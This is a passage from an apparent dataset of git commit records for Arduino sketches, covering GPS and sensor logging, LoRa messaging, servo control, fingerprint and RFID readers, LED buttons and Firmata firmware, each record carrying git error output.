suggest using anything but either RMC only or RMC+GGA since\n \/\/ the parser doesn't care about other sentences at this time\n \n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \/\/ For the parsing code to work nicely and have time to sort thru the data, and\n \/\/ print it out we don't suggest using anything higher than 1 Hz\n\n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n \/\/ the nice thing about this code is you can have a timer0 interrupt go off\n \/\/ every 1 millisecond, and read data from the GPS for you. that makes the\n \/\/ loop code a heck of a lot easier!\n useInterrupt(true);\n\n delay(1000);\n \/\/ Ask for firmware version\n mySerial.println(PMTK_Q_RELEASE);\n}\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores it\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n#ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n \/\/ writing direct to UDR0 is much much faster than Serial.print \n \/\/ but only one character can be written at a time. \n#endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t timer = millis();\n\nvoid loop() {\n\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n \/\/ in case you are not using the interrupt above, you'll\n \/\/ need to 'hand query' the GPS, not suggested :(\n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if (GPSECHO)\n if (c) Serial.print(c);\n }\n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences! \n \/\/ so be very wary if using OUTPUT_ALLDATA and trytng to print out data\n \/\/Serial.println(GPS.lastNMEA()); \/\/ this also sets the newNMEAreceived() flag to false\n \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n }\n\n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n\n \/\/ approximately every 1 seconds or so, print out the current stats\n if (millis() - timer > 1000) { \n timer = millis(); \/\/ reset the timer\n DateTime now = rtc.now();\n float objt = tmp007.readObjTempC();\n float diet = tmp007.readDieTempC();\n\n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality);\n Serial.println(\" \");\n if (GPS.fix) {\n if(GPS.seconds != now.second()){ \n rtc.adjust(DateTime(2000+GPS.year, GPS.month, GPS.day, GPS.hour, GPS.minute, GPS.seconds));\n }\n Serial.print(\"Location: \");\n Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);\n Serial.print(\", \"); \n Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);\n Serial.print(\"Location (in degrees, works with Google Maps): \");\n Serial.print(GPS.latitudeDegrees, 4);\n Serial.print(\", \"); \n Serial.println(GPS.longitudeDegrees, 4);\n \n Serial.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n Serial.print(\"Angle: \"); Serial.println(GPS.angle);\n Serial.print(\"Altitude: \"); Serial.println(GPS.altitude);\n Serial.print(\"Object Temperature: \"); Serial.print(objt); Serial.println(\"*C\");\n Serial.print(\"Die Temperature: \"); Serial.print(diet); Serial.println(\"*C\");\n Serial.print(\"Hum: \"); Serial.println(htu.readHumidity());\n \n Serial.println(\" \");\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embed-code\/embed-code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a825f89130f65da37f0a5da07c8611d61862b1c","subject":"removed the while loop","message":"removed the while loop","repos":"TEAMarg\/SiNe-DeMo,TEAMarg\/SiNe-DeMo","old_file":"Sine-DeMo.ino","new_file":"Sine-DeMo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/SiNe-DeMo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5bfcb7ccea2f49ccdab93f0d247c59d97ef0d29c","subject":"Create TheThingsNetworkSodaqExpLorer.ino","message":"Create TheThingsNetworkSodaqExpLorer.ino\n\nSimple example to connect a Sodaq ExpLoRer board to The Things Network","repos":"evrythng\/examples,evrythng\/examples,evrythng\/examples,evrythng\/examples","old_file":"lpwan\/TheThingsNetworkSodaqExpLorer.ino","new_file":"lpwan\/TheThingsNetworkSodaqExpLorer.ino","new_contents":"#include <Sodaq_RN2483.h>\n#include <CayenneLPP.h>\n#define debugSerial SerialUSB\n#define loraSerial Serial2\n\nbool OTAA = true;\n\nconst uint8_t devAddr[4] =\n{\n 0x00,0x00,0x00,0x00\n};\n\nconst uint8_t appSKey[16] =\n{\n 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n};\n\nconst uint8_t nwkSKey[16] =\n{\n 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n};\n\nconst uint8_t DevEUI[8] =\n{\n 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n};\n\nconst uint8_t AppEUI[16] =\n{\n 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n};\n\nconst uint8_t AppKey[16] =\n{\n 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00\n};\n\nvoid setup()\n{\n while ((!debugSerial) && (millis() < 10000)) {\n }\n\n debugSerial.begin(57600);\n loraSerial.begin(LoRaBee.getDefaultBaudRate());\n setupLoRa();\n}\n\nvoid setupLoRa() {\n setupLoRaOTAA();\n}\n\nvoid setupLoRaOTAA() {\n debugSerial.println(LoRaBee.initOTA(loraSerial, DevEUI, AppEUI, AppKey, false));\n if (LoRaBee.initOTA(loraSerial, DevEUI, AppEUI, AppKey, false)){\n debugSerial.println(\"Network connection successful.\");\n }else{\n debugSerial.println(\"Network connection failed!\");\n }\n}\n\nCayenneLPP lpp(51);\nfloat mVolts,temp;\nvoid loop()\n{\n mVolts = (float)analogRead(TEMP_SENSOR) * 3300.0 \/ 1023.0;\n temp = (mVolts - 500.0) \/ 10.0;\n lpp.reset();\n lpp.addTemperature(1, temp);\n\n switch (LoRaBee.send(1, lpp.getBuffer(), lpp.getSize()))\n {\n case NoError:\n debugSerial.println(\"Successful transmission.\");\n break;\n case NoResponse:\n debugSerial.println(\"There was no response from the device.\");\n break;\n case Timeout:\n debugSerial.println(\"Connection timed-out. Check your serial connection to the device! Sleeping for 20sec.\");\n delay(20000);\n break;\n case PayloadSizeError:\n debugSerial.println(\"The size of the payload is greater than allowed. Transmission failed!\");\n break;\n case InternalError:\n debugSerial.println(\"Oh No! This shouldn't happen. Something is really wrong! The program will reset the RN module.\");\n setupLoRa();\n break;\n case Busy:\n debugSerial.println(\"The device is busy. Sleeping for 10 extra seconds.\");\n delay(10000);\n break;\n case NetworkFatalError:\n debugSerial.println(\"There is a non-recoverable error with the network connection. The program will reset the RN module.\");\n setupLoRa();\n break;\n case NotConnected:\n debugSerial.println(\"The device is not connected to the network. The program will reset the RN module.\");\n setupLoRa();\n break;\n case NoAcknowledgment:\n debugSerial.println(\"There was no acknowledgment sent back!\");\n break;\n default:\n break;\n }\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lpwan\/TheThingsNetworkSodaqExpLorer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"392d96f3597308ddba94b8d545e08feddcb8cb91","subject":"modified servo sweep from Mark DeLoura","message":"modified servo sweep from Mark DeLoura\n","repos":"boscomonkey\/lazy-susan-arduino,boscomonkey\/lazy-susan-arduino","old_file":"marks_servo_sweep\/marks_servo_sweep.ino","new_file":"marks_servo_sweep\/marks_servo_sweep.ino","new_contents":"\/\/ Sweep\n\/\/ by BARRAGAN <>http:\/\/barraganstudio.com<>\n\/\/ This example code is in the public domain.\n\n\n#include <Servo.h>\n\nServo myservo; \/\/ create servo object to control a servo\n \/\/ a maximum of eight servo objects can be created\n\nint pos = 90; \/\/ variable to store the servo position\nint dir = -2;\n\nvoid setup()\n{\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n Serial.begin(9600);\n}\n\n\nvoid loop()\n{\n myservo.write(pos);\n pos += dir;\n delay(75);\n if (pos > 125) {\n dir *= -1;\n delay(3000);\n }\n if (pos < 35) {\n dir *= -1;\n delay(3000);\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'marks_servo_sweep\/marks_servo_sweep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f721c87b15c07a9c98f050711ef3f367a091c3f","subject":"add finger-web base","message":"add finger-web base\n","repos":"digituoficial\/finger-web","old_file":"finger-web\/finger-web.ino","new_file":"finger-web\/finger-web.ino","new_contents":"#include <Adafruit_Fingerprint.h>\n#include <SoftwareSerial.h>\n\nint getFingerprintIDez();\n\n\/\/ pin #2 is IN from sensor (GREEN wire)\n\/\/ pin #3 is OUT from arduino (WHITE wire)\nSoftwareSerial mySerial(2, 3);\n\n\nAdafruit_Fingerprint finger = Adafruit_Fingerprint(&mySerial);\n\nvoid setup() \n{\n Serial.begin(9600);\n Serial.println(\"fingertest\");\n\n \/\/ set the data rate for the sensor serial port\n finger.begin(57600);\n \n if (finger.verifyPassword()) {\n Serial.println(\"Sensor encontrado!\");\n } else {\n Serial.println(\"Did not find fingerprint sensor :(\");\n while (1);\n }\n Serial.println(\"COLOQUE SEU DEDO :)\");\n}\n\nvoid loop() \/\/ run over and over again\n{\n getFingerprintIDez();\n delay(50); \/\/don't ned to run this at full speed.\n}\n\nuint8_t getFingerprintID() {\n uint8_t p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n Serial.println(\"No finger detected\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n\n \/\/ OK success!\n\n p = finger.image2Tz();\n switch (p) {\n case FINGERPRINT_OK:\n Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n Serial.println(\"Could not find fingerprint features\");\n return p;\n default:\n Serial.println(\"Unknown error\");\n return p;\n }\n \n \/\/ OK converted!\n p = finger.fingerFastSearch();\n if (p == FINGERPRINT_OK) {\n Serial.println(\"Found a print match!\");\n } else if (p == FINGERPRINT_PACKETRECIEVEERR) {\n Serial.println(\"Communication error\");\n return p;\n } else if (p == FINGERPRINT_NOTFOUND) {\n Serial.println(\"Did not find a match\");\n return p;\n } else {\n Serial.println(\"Unknown error\");\n return p;\n } \n \n \/\/ found a match!\n Serial.print(\"SUA ID FOI ENCONTRADA. ESSA --> \"); Serial.print(finger.fingerID); \n Serial.print(\" Dado de confidencia \"); Serial.println(finger.confidence); \n}\n\n\/\/ returns -1 if failed, otherwise returns ID #\nint getFingerprintIDez() {\n uint8_t p = finger.getImage();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.image2Tz();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.fingerFastSearch();\n if (p != FINGERPRINT_OK) return -1;\n \n \/\/ found a match!\n Serial.print(\"SUA ID FOI ENCONTRADA. ESSA --> \"); Serial.print(finger.fingerID); \n Serial.print(\" Dado de confidencia \"); Serial.println(finger.confidence);\n return finger.fingerID; \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'finger-web\/finger-web.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6f2266d8ef17fba6bf3d31f13879b5e63b511c2","subject":"Updated the repo with a folder for the sketch as needed by Arduino","message":"Updated the repo with a folder for the sketch as needed by Arduino\n","repos":"illinoistech-itm\/sparrow,illinoistech-itm\/sparrow","old_file":"sketch_jan21b\/sketch_jan21b.ino","new_file":"sketch_jan21b\/sketch_jan21b.ino","new_contents":"\/*\n * HID RFID Reader Wiegand Interface for Arduino Uno\n * Originally by Daniel Smith, 2012.01.30 -- http:\/\/www.pagemac.com\/projects\/rfid\/arduino_wiegand\n * \n * Updated 2016-11-23 by Jon \"ShakataGaNai\" Davis.\n * See https:\/\/obviate.io\/?p=7470 for more details & instructions\n*\/\n\/\/ needed for SD card\n#include <SPI.h>\n#include <SD.h>\n\nFile myFile; \n\n\/\/ needed for RTC on the Datalogger shield\n\/\/ https:\/\/learn.adafruit.com\/adafruit-data-logger-shield\n\/\/ Date and time functions using a DS1307 RTC connected via I2C and Wire lib\n#include <Wire.h>\n#include \"RTClib.h\"\n\n#if defined(ARDUINO_ARCH_SAMD)\n\/\/ for Zero, output on USB Serial console, remove line below if using programming port to program the Zero!\n #define Serial SerialUSB\n#endif\n\nRTC_DS1307 rtc;\n\nchar daysOfTheWeek[7][12] = {\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"};\n\n\/\/ end of RTC setup\n \n#define MAX_BITS 100 \/\/ max number of bits \n#define WEIGAND_WAIT_TIME 3000 \/\/ time to wait for another weigand pulse. \n \nunsigned char databits[MAX_BITS]; \/\/ stores all of the data bits\nunsigned char bitCount; \/\/ number of bits currently captured\nunsigned char flagDone; \/\/ goes low when data is currently being captured\nunsigned int weigand_counter; \/\/ countdown until we assume there are no more bits\n \nunsigned long facilityCode=0; \/\/ decoded facility code\nunsigned long cardCode=0; \/\/ decoded card code\n\nint LED_GREEN = 11;\nint LED_RED = 12;\nint BEEP_BEEP = 10;\n\n\/\/ interrupt that happens when INTO goes low (0 bit)\nvoid ISR_INT0() {\n \/\/Serial.print(\"0\"); \/\/ uncomment this line to display raw binary\n bitCount++;\n flagDone = 0;\n weigand_counter = WEIGAND_WAIT_TIME; \n \n}\n \n\/\/ interrupt that happens when INT1 goes low (1 bit)\nvoid ISR_INT1() {\n \/\/Serial.print(\"1\"); \/\/ uncomment this line to display raw binary\n databits[bitCount] = 1;\n bitCount++;\n flagDone = 0;\n weigand_counter = WEIGAND_WAIT_TIME; \n}\n \nvoid setup() {\n pinMode(LED_RED, OUTPUT); \n pinMode(LED_GREEN, OUTPUT); \n pinMode(BEEP_BEEP, OUTPUT); \n digitalWrite(LED_RED, HIGH); \/\/ High = Off\n digitalWrite(BEEP_BEEP, HIGH); \/\/ High = off\n digitalWrite(LED_GREEN, LOW); \/\/ Low = On\n pinMode(2, INPUT); \/\/ DATA0 (INT0)\n pinMode(3, INPUT); \/\/ DATA1 (INT1)\n \n Serial.begin(9600);\n Serial.println(\"RFID Readers\");\n \/\/ SD card setup\n Serial.print(\"Initializing SD card...\");\n\n if (!SD.begin(10)) {\n Serial.println(\"initialization failed!\");\n return;\n }\n Serial.println(\"initialization done.\");\n\n\/\/ end of SD Card setup\n\n\/\/ RTC chip setup\n#ifndef ESP8266\n while (!Serial); \/\/ for Leonardo\/Micro\/Zero\n#endif\n\n if (! rtc.begin()) {\n Serial.println(\"Couldn't find RTC\");\n while (1);\n }\n\n if (! rtc.isrunning()) {\n Serial.println(\"RTC is NOT running!\");\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n }\n\n \/\/ end of RTC setup\n \/\/ binds the ISR functions to the falling edge of INTO and INT1\n attachInterrupt(0, ISR_INT0, FALLING); \n attachInterrupt(1, ISR_INT1, FALLING);\n \n \n weigand_counter = WEIGAND_WAIT_TIME;\n}\n \nvoid loop()\n{\n \/\/ This waits to make sure that there have been no more data pulses before processing data\n if (!flagDone) {\n if (--weigand_counter == 0)\n flagDone = 1; \n }\n \n \/\/ if we have bits and we the weigand counter went out\n if (bitCount > 0 && flagDone) {\n unsigned char i;\n \n Serial.print(\"Read \");\n Serial.print(bitCount);\n Serial.print(\" bits. \");\n \n if (bitCount == 35) {\n \/\/ 35 bit HID Corporate 1000 format\n \/\/ facility code = bits 2 to 14\n for (i=2; i<14; i++) {\n facilityCode <<=1;\n facilityCode |= databits[i];\n }\n \n \/\/ card code = bits 15 to 34\n for (i=14; i<34; i++) {\n cardCode <<=1;\n cardCode |= databits[i];\n }\n \n printBits();\n }\n else if (bitCount == 26) {\n \/\/ standard 26 bit format\n \/\/ facility code = bits 2 to 9\n for (i=1; i<9; i++) {\n facilityCode <<=1;\n facilityCode |= databits[i];\n }\n \n \/\/ card code = bits 10 to 23\n for (i=9; i<25; i++) {\n cardCode <<=1;\n cardCode |= databits[i];\n }\n \n printBits(); \n }\n else {\n \/\/ you can add other formats if you want!\n \/\/ Serial.println(\"Unable to decode.\"); \n }\n \n \/\/ cleanup and get ready for the next card\n bitCount = 0;\n facilityCode = 0;\n cardCode = 0;\n for (i=0; i<MAX_BITS; i++) \n {\n databits[i] = 0;\n }\n }\n}\n \nvoid printBits() {\n Serial.print(\"FC = \");\n Serial.print(facilityCode);\n Serial.print(\", CC = \");\n Serial.println(cardCode);\n if (cardCode == 941719) {\n writeBits(cardCode);\n } \n \/\/ Now lets play with some LED's for fun:\n digitalWrite(LED_RED, LOW); \/\/ Red\n if(cardCode == 862){\n \/\/ If this one \"bad\" card, turn off green\n \/\/ so it's just red. Otherwise you get orange-ish\n digitalWrite(LED_GREEN, HIGH); \n }\n delay(500);\n digitalWrite(LED_RED, HIGH); \/\/ Red Off\n digitalWrite(LED_GREEN, LOW); \/\/ Green back on\n \n \/\/ Lets be annoying and beep more\n \/*\n digitalWrite(BEEP_BEEP, LOW);\n delay(500);\n digitalWrite(BEEP_BEEP, HIGH);\n delay(500);\n digitalWrite(BEEP_BEEP, LOW);\n delay(500);\n digitalWrite(BEEP_BEEP, HIGH);\n *\/\n}\n\nvoid writeBits(long cc) {\n\n DateTime now = getDateTime();\n String year = String(now.year(),DEC);\n String day = String(now.day(),DEC);\n String month = String(now.month(),DEC);\n String hour = String(now.hour(),DEC);\n String minute = String(now.minute(),DEC);\n String second = String(now.second(), DEC);\n \n String fn = year + month + day + \".csv\";\n \/\/ function to write data to data logger\n \/\/ open the file. note that only one file can be open at a time,\n \/\/ so you have to close this one before opening another.\n myFile = SD.open(fn, FILE_WRITE);\n\n \/\/ if the file opened okay, write to it:\n if (myFile) {\n myFile.print(year + '\/' + month + '\/' + day + \"(\" + hour + \":\" +minute+ \":\" + second + \"), \" );\n myFile.println(cc);\n \/\/ close the file:\n myFile.close();\n Serial.println(\"done.\");\n testBits(fn);\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(\"error in initial opening and writing of your file.\");\n }\n\n\n\n} \/\/ end of write bits\n\nvoid testBits(String fn) {\n \/\/ function to open the file and re-read what was just written\n\n \/\/ re-open the file for reading:\n myFile = SD.open(fn);\n if (myFile) {\n Serial.println(fn);\n\n \/\/ read from the file until there's nothing else in it:\n while (myFile.available()) {\n Serial.write(myFile.read());\n }\n \/\/ close the file:\n myFile.close();\n } else {\n \/\/ if the file didn't open, print an error:\n Serial.println(\"error opening \" + fn + \" for re-reading and tesitng\");\n }\n\n} \/\/ end of testBits()\n\nDateTime getDateTime() {\n DateTime now = rtc.now();\n return now;\n\n} \/\/ end of getDataTime\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_jan21b\/sketch_jan21b.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1aae6b18909cd983afee260836ff697045b62ec5","subject":"#10 Added a quick example 'sketch' for Arduino","message":"#10 Added a quick example 'sketch' for Arduino\n","repos":"slightlynybbled\/Dispatch,slightlynybbled\/Dispatch,slightlynybbled\/Dispatch","old_file":"examples\/arduino\/dispatchDemo.ino","new_file":"examples\/arduino\/dispatchDemo.ino","new_contents":"#include <dispatchSerial.h>\n#include <dispatch.h>\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(57600);\n \n DIS_assignChannelReadable(&readable);\n DIS_assignChannelWriteable(&writeable);\n DIS_assignChannelRead(&read);\n DIS_assignChannelWrite(&write);\n \n DIS_init();\n \n DIS_subscribe(\"foo\", &mySubscriberFunction);\n}\n\nvoid loop() {\n static int32_t lastMillis = 0;\n const int32_t TIME_INTERVAL = 10000;\n uint32_t now = millis();\n \n DIS_process();\n}\n\nvoid mySubscriberFunction(void){\n static uint16_t i = 0;\n \n i++;\n \n \/* publish i back to the sender to 'close the loop' *\/\n DIS_publish(\"i,u16\", &i);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino\/dispatchDemo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9f3e54947b29e83acdecb2e11f12c092a27f3d5","subject":"Update FISH_DEV.ino","message":"Update FISH_DEV.ino","repos":"TEAMarg\/ID-36-Trolly-Fish,TEAMarg\/ID-36-Trolly-Fish","old_file":"FISH_DEV\/FISH_DEV.ino","new_file":"FISH_DEV\/FISH_DEV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-36-Trolly-Fish.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9958d94837a594d3b7db68c83c7753e487e6214e","subject":"script arduino led","message":"script arduino led\n","repos":"lbsb\/wybo-working-hours-tracker,lbsb\/wybo-working-hours-tracker,lbsb\/wybo-working-hours-tracker","old_file":"bp_led.ino","new_file":"bp_led.ino","new_contents":"\n\/\/ constants won't change. They're used here to\n\/\/ set pin numbers:\nconst int buttonPin = 3; \/\/ the number of the pushbutton pin\nconst int ledPin = 2; \/\/ the number of the LED pin\n\n\/\/ variables will change:\nint buttonState = 0; \/\/ variable for reading the pushbutton status\nint ledState = 0;\nint currenteState = 0;\n\nvoid setup() {\n \/\/ initialize the LED pin as an output:\n pinMode(ledPin, OUTPUT); \n \/\/ initialize the pushbutton pin as an input:\n pinMode(buttonPin, INPUT); \n}\n\n\nvoid loop(){\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n ledState = digitalRead(ledPin);\n\n if(ledState == HIGH){\n if (buttonState == LOW) { \n \/\/ turn LED on: \n digitalWrite(ledPin, LOW); \n }\n }\n else{\n if (buttonState == LOW) { \n \/\/ turn LED on: \n digitalWrite(ledPin, HIGH); \n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bp_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"762f4396737cbbc4d92e1a6b82a1c7117114b118","subject":"add IRRemote support","message":"add IRRemote support\n","repos":"webduinoio\/wafirmata","old_file":"waFirmata_buzzer_ultrasonic_dht_MaxMatrix_MFRC522_IR.ino","new_file":"waFirmata_buzzer_ultrasonic_dht_MaxMatrix_MFRC522_IR.ino","new_contents":"\/*\n Firmata is a generic protocol for communicating with microcontrollers\n from software on a host computer. It is intended to work with\n any host computer software package.\n\n To download a host software package, please clink on the following link\n to open the list of Firmata client libraries your default browser.\n\n https:\/\/github.com\/firmata\/arduino#firmata-client-libraries\n\n Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.\n Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved.\n Copyright (C) 2009 Shigeru Kobayashi. All rights reserved.\n Copyright (C) 2009-2015 Jeff Hoefs. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See file LICENSE.txt for further informations on licensing terms.\n\n Last updated by Jeff Hoefs: August 9th, 2015\n*\/\n\n#include <IRremote.h>\n#include <Wire.h>\n#include <Firmata.h>\n#include <dht.h> \n#include <MaxMatrix.h>\n#include <SPI.h>\n#include <MFRC522.h>\n#include <Joypad.h>\n\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n#define I2C_MAX_QUERIES 8\n#define I2C_REGISTER_NOT_SPECIFIED -1\n\n#define RST_PIN 9\n#define SS_PIN 10\n\n\/\/ the minimum interval for sampling analog input\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n\n\/*==============================================================================\n GLOBAL VARIABLES\n ============================================================================*\/\ndht DHT;\nMaxMatrix *mm;\nMFRC522 *mfrc522;\nJoypad *joypad;\nIRrecv *irrecv = NULL;\ndecode_results results;\n\nunsigned char strhex[17] = \"0123456789ABCDEF\";\nbyte rfidTouchScan = 0;\nboolean rfidTouch = false;\nboolean rfidEnable = false;\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nunsigned int samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n int reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[I2C_MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\n\/\/ default delay time between i2c read request and Wire.requestFrom()\nunsigned int i2cReadDelayTime = 0;\n\nboolean isResetting = false;\n\n\/* utility functions *\/\nvoid wireWrite(byte data)\n{\n#if ARDUINO >= 100\n Wire.write((byte)data);\n#else\n Wire.send(data);\n#endif\n}\n\nbyte wireRead(void)\n{\n#if ARDUINO >= 100\n return Wire.read();\n#else\n return Wire.receive();\n#endif\n}\n\n\/*==============================================================================\n FUNCTIONS\n ============================================================================*\/\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data available\n \/\/ do not always require the register read so upon interrupt you call Wire.requestFrom()\n if (theRegister != I2C_REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n wireWrite((byte)theRegister);\n Wire.endTransmission();\n \/\/ do not set a value of 0\n if (i2cReadDelayTime > 0) {\n \/\/ delay is necessary for some devices such as WiiNunchuck\n delayMicroseconds(i2cReadDelayTime);\n }\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if (numBytes < Wire.available()) {\n Firmata.sendString(\"I2C: Too many bytes received\");\n } else if (numBytes > Wire.available()) {\n Firmata.sendString(\"I2C: Too few bytes received\");\n }\n\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n\n for (int i = 0; i < numBytes && Wire.available(); i++) {\n i2cRxData[2 + i] = wireRead();\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n check all the active digital inputs for change of state, then add any events\n to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n The compiler will apply substantial optimizations if the inputs\n to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 